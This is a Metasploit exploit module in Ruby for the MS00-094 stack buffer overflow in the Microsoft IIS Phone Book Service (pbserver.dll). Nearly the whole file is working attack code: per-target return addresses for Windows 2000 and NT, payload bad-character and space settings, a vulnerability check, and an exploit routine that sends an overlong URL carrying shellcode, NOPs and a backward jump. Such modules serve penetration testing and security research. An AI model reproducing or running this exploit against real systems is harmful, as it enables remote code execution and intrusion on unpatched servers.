83 lines
2.3 KiB
Ruby
83 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft IIS Phone Book Service Overflow',
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'Description' => %q{
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This is an exploit for the Phone Book Service /pbserver/pbserver.dll
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described in MS00-094. By sending an overly long URL argument
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for phone book updates, it is possible to overwrite the stack. This
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module has only been tested against Windows 2000 SP1.
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},
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'Author' => [ 'patrick' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2000-1089' ],
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[ 'OSVDB', '463' ],
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[ 'BID', '2048' ],
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[ 'MSB', 'MS00-094' ],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 896,
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'BadChars' => "\x00\x0a\x0d\x20%&=?",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll
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['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll
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['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll
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],
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'DisclosureDate' => 'Dec 04 2000',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URL', [ true, "The path to pbserver.dll", "/pbserver/pbserver.dll" ]),
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], self.class)
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end
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def check
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print_status("Requesting the vulnerable ISAPI path...")
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res = send_request_raw({
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'uri' => normalize_uri(datastore['URL'])
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}, 5)
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if (res and res.code == 400)
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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print_status("Sending overflow...")
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res = send_request_raw({
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'uri' => normalize_uri(datastore['URL']) + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)
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}, 5)
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handler
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end
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end
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